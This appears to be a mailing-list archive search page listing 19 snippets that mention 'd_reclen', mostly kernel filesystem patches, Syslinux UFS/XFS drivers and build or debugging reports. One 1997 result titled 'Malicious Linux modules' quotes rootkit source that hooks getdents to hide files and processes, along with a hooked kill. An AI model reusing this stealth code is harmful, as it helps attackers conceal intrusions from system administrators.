search for: d_reclen

Displaying 19 results from an estimated 19 matches for "d_reclen".

2012 Dec 17
3
getdents spinning on 0x7fffffff
...tes (and deletes :)) in a directory we end up with an entry item whose key is past that value. f_pos gets rewound instead of being set to that magical EOF. readdir() gets stuck returning the entries after INT_MAX over and over (just one in this strace): getdents(3, {{d_ino=257, d_off=2147483647, d_reclen=32, d_name="file-54"}}, 32768) = 32 getdents(3, {{d_ino=257, d_off=2147483647, d_reclen=32, d_name="file-54"}}, 32768) = 32 It took around 10 hours on a workstationy box over here to reproduce this with createmany.c from the lustre tests ("./createmany -m f- -u f- 0x800000...
2006 Oct 03
2
strverscmp, scandir, alphasort and versionsort
...nst void *)) { DIR *d; struct dirent *de, **list; int nl; if (!(d = opendir(dir))) return -1; list = NULL; nl = 0; while ((de = readdir(d))) { if (filter && !filter(de)) continue; if (!(list = realloc(list, sizeof(struct dirent *) * (nl+1))) || !(list[nl] = malloc(de->d_reclen))) break; memcpy(list[nl], de, de->d_reclen); nl++; } closedir(d); /* error allocating memory? */ if (de) { while (nl > 0) { free(list[--nl]); } free(list); nl = -1; } else { qsort(list, nl, sizeof(struct dirent *), compar); *namelist = list; } return nl; } --...
1997 Oct 08
5
Malicious Linux modules
...v) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIG...
2007 Nov 15
1
program I used to test xattrs
...emp]); continue; } snprintf(path, 200, "%s/%s", dir, namelist[temp]->d_name); if (stat(path, &buf)) { perror("stat"); return -1; } if (S_ISDIR(buf.st_mode)) { n--; free(namelist[temp]); continue; } size = strlen(dir) + namelist[temp]->d_reclen; (*filelist)[i] = malloc(size * sizeof(char)); memset((*filelist)[i], 0, size * sizeof(char)); snprintf((*filelist)[i], size * sizeof(char), "%s/%s", dir, namelist[temp]->d_name); i++; free(namelist[temp]); } free(namelist); return n; } static int xattr_create_test(in...
2001 May 31
1
Possible bug in openssh configuration file
...pointer to function(pointer to const char) returning pointer to void "=" pointer to void "sftp-glob.c", line 157: warning: assignment type mismatch: pointer to function(pointer to void) returning pointer to struct dirent {unsigned long d_ino, long d_off, unsigned short d_reclen, array[1] of char d_name} "=" pointer to void "sftp-glob.c", line 158: warning: assignment type mismatch: pointer to function(pointer to void) returning void "=" pointer to void "sftp-glob.c", line 167: warning: argument #3 is incompatible with protot...
2009 Jan 15
2
Fatal: Plugin sieve_plugin not found from directory
...ule sieve_plugin: /usr/lib64/dovecot/lda/lib90_sieve_plugin.so, /usr/lib64/dovecot/lda/sieve_plugin.so Invoking the deliver process with strace showed /usr/lib64/dovecot/lda being opened, fstated, and getdents returned the expected results, including {d_ino=67593, d_off=608760247, d_reclen=40, d_name="lib90_sieve_plugin.so"} After this, the plugin (nor any other file, aside from /etc/localtime) was not opened, the above error was sent, and deliver exited. The RPM was recompiled for CentOS 5.1 from an ArkLinux Dovecot 1.2 SRPM; the specfile appears to be of the same...
2023 Mar 07
0
+ ufs-dont-flush-page-immediately-for-dirsync-directories.patch added to mm-unstable branch
...len); + ufs_commit_chunk(page, pos, rec_len); dir->i_mtime = dir->i_ctime = current_time(dir); mark_inode_dirty(dir); + err = ufs_handle_dirsync(dir); /* OFFSET_CACHE */ out_put: ufs_put_page(page); @@ -531,9 +538,10 @@ int ufs_delete_entry(struct inode *inode if (pde) pde->d_reclen = cpu_to_fs16(sb, to - from); dir->d_ino = 0; - err = ufs_commit_chunk(page, pos, to - from); + ufs_commit_chunk(page, pos, to - from); inode->i_ctime = inode->i_mtime = current_time(inode); mark_inode_dirty(inode); + err = ufs_handle_dirsync(inode); out: ufs_put_page(page); UFS...
2023 Mar 07
3
remove most callers of write_one_page v4
Hi all, this series removes most users of the write_one_page API. These helpers internally call ->writepage which we are gradually removing from the kernel. Changes since v3: - drop all patches merged in v6.3-rc1 - re-add the jfs patch Changes since v2: - more minix error handling fixes Changes since v1: - drop the btrfs changes (queue up in the btrfs tree) - drop the finaly move to
2001 Mar 22
9
Portable OpenSSH-2.5.2p2
Portable OpenSSH 2.5.2p2 is now available from the mirror sites listed at http://www.openssh.com/portable.html Security related changes: Improved countermeasure against "Passive Analysis of SSH (Secure Shell) Traffic" http://openwall.com/advisories/OW-003-ssh-traffic-analysis.txt The countermeasures introduced in earlier OpenSSH-2.5.x versions caused interoperability problems with
2001 Mar 22
9
Portable OpenSSH-2.5.2p2
Portable OpenSSH 2.5.2p2 is now available from the mirror sites listed at http://www.openssh.com/portable.html Security related changes: Improved countermeasure against "Passive Analysis of SSH (Secure Shell) Traffic" http://openwall.com/advisories/OW-003-ssh-traffic-analysis.txt The countermeasures introduced in earlier OpenSSH-2.5.x versions caused interoperability problems with
2023 Jan 18
9
remove most callers of write_one_page v3
Hi all, this series removes most users of the write_one_page API. These helpers internally call ->writepage which we are gradually removing from the kernel. Changes since v2: - more minix error handling fixes Changes since v1: - drop the btrfs changes (queue up in the btrfs tree) - drop the finaly move to jfs (can't be done without the btrfs patches) - fix the existing minix code to
2014 May 29
3
[PATCH 0/2] UFS1/2 support series
From: Raphael S. Carvalho <raphael.scarv at gmail.com> Wrote the documentation below. I think it would be good to push the doc to the wiki as soon as the UFS support gets merged. Unix Fast File System (UFS/FFS) 1/2 on Syslinux - (usage/install) ----- There is a confusion about the name of this file system, then I decided to contact the author who replied: "The name has always been
2013 Jul 22
1
[PATCH 1/1 v2] Add UFS1/2 support to Extlinux installer.
...IR_PAD 4 +#define UFS_DIR_ROUND (UFS_DIR_PAD - 1) +#define UFS_DIR_REC_LEN(name_len) (((name_len) + 1 + 8 + UFS_DIR_ROUND) & ~UFS_DIR_ROUND) + +struct ufs_timeval { + __fs32 tv_sec; + __fs32 tv_usec; +}; + +struct ufs_dir_entry { + __fs32 d_ino; /* inode number of this entry */ + __fs16 d_reclen; /* length of this entry */ + union { + __fs16 d_namlen; /* actual length of d_name */ + struct { + __u8 d_type; /* file type */ + __u8 d_namlen; /* length of string in d_name */ + } d_44; + } d_u; + __u8 d_name[UFS_MAXNAMLEN + 1]; /* file name */ +}; + +struct ufs_csum { + __fs32 cs_ndir...
2014 May 29
3
[PATCH v2 0/2] UFS1/2 support series
From: Raphael S. Carvalho <raphael.scarv at gmail.com> Change since v1: * Fix bug on dentry structure (thank you specification; btw, sarcasm), and consequently a bug on ufs_readdir. * Add readlink support (applied tests for symlinks whose destionation path were stored in blk pointers and the file itself). * Several improvements. Wrote the documentation below. I think it would be good to
2013 Jul 12
2
[PATCH 001/001] Add UFS1/2 support to Extlinux installer.
...IR_PAD 4 +#define UFS_DIR_ROUND (UFS_DIR_PAD - 1) +#define UFS_DIR_REC_LEN(name_len) (((name_len) + 1 + 8 + UFS_DIR_ROUND) & ~UFS_DIR_ROUND) + +struct ufs_timeval { + __fs32 tv_sec; + __fs32 tv_usec; +}; + +struct ufs_dir_entry { + __fs32 d_ino; /* inode number of this entry */ + __fs16 d_reclen; /* length of this entry */ + union { + __fs16 d_namlen; /* actual length of d_name */ + struct { + __u8 d_type; /* file type */ + __u8 d_namlen; /* length of string in d_name */ + } d_44; + } d_u; + __u8 d_name[UFS_MAXNAMLEN + 1]; /* file name */ +}; + +struct ufs_csum { + __fs32 cs_ndir...
2014 May 29
0
[PATCH 2/2] core/fs: Add support for Unix File system 1/2.
...>= inode->size) + return -1; /* End of file */ + + data = ufs_get_cache(inode, index); + dir = (const struct ufs_dir_entry *) + (data + (file->offset & (BLOCK_SIZE(fs) - 1))); + + dirent->d_ino = dir->inode_value; + dirent->d_off = file->offset; + dirent->d_reclen = offsetof(struct dirent, d_name) + dir->name_length + 1; + dirent->d_type = get_inode_mode(dir->file_type); + memcpy(dirent->d_name, dir->name, dir->name_length); + dirent->d_name[dir->name_length] = '\0'; + + file->offset += dir->dir_entry_len; /...
2013 Jul 12
1
[PATCH 001/001] core/fs: Add support to Unix File system 1/2.
...>= inode->size) + return -1; /* End of file */ + + data = ufs_get_cache(inode, index); + dir = (const struct ufs_dir_entry *) + (data + (file->offset & (BLOCK_SIZE(fs) - 1))); + + dirent->d_ino = dir->inode_value; + dirent->d_off = file->offset; + dirent->d_reclen = offsetof(struct dirent, d_name) + dir->name_length + 1; + dirent->d_type = get_inode_mode(dir->file_type); + memcpy(dirent->d_name, dir->name, dir->name_length); + dirent->d_name[dir->name_length] = '\0'; + + file->offset += dir->dir_entry_len; /...
2011 Apr 16
20
[PATCH 00/20] Switch to ELF modules
From: Matt Fleming <matt.fleming at linux.intel.com> This series fixes some bugs and switches the elflink branch to be entirely ELF modules. It applies on top of, http://syslinux.zytor.com/archives/2011-April/016369.html The deletions in the diff stat below are mainly from deleting com32/elflink/modules (finally!). Now there should be no duplicate code because we don't need COM32 and
2012 Sep 03
1
[GIT-PULL] XFS filesystem driver
...quot; + +#include "xfs_readdir.h" + +static int fill_dirent(struct fs_info *fs, struct dirent *dirent, + uint32_t offset, xfs_ino_t ino, char *name, + size_t namelen) +{ + xfs_dinode_t *core; + + dirent->d_ino = ino; + dirent->d_off = offset; + dirent->d_reclen = offsetof(struct dirent, d_name) + namelen + 1; + + core = xfs_dinode_get_core(fs, ino); + if (!core) { + xfs_error("Failed to get dinode from disk (ino 0x%llx)", ino); + return -1; + } + + if (be16_to_cpu(core->di_mode) & S_IFDIR) + dirent->d_type = D...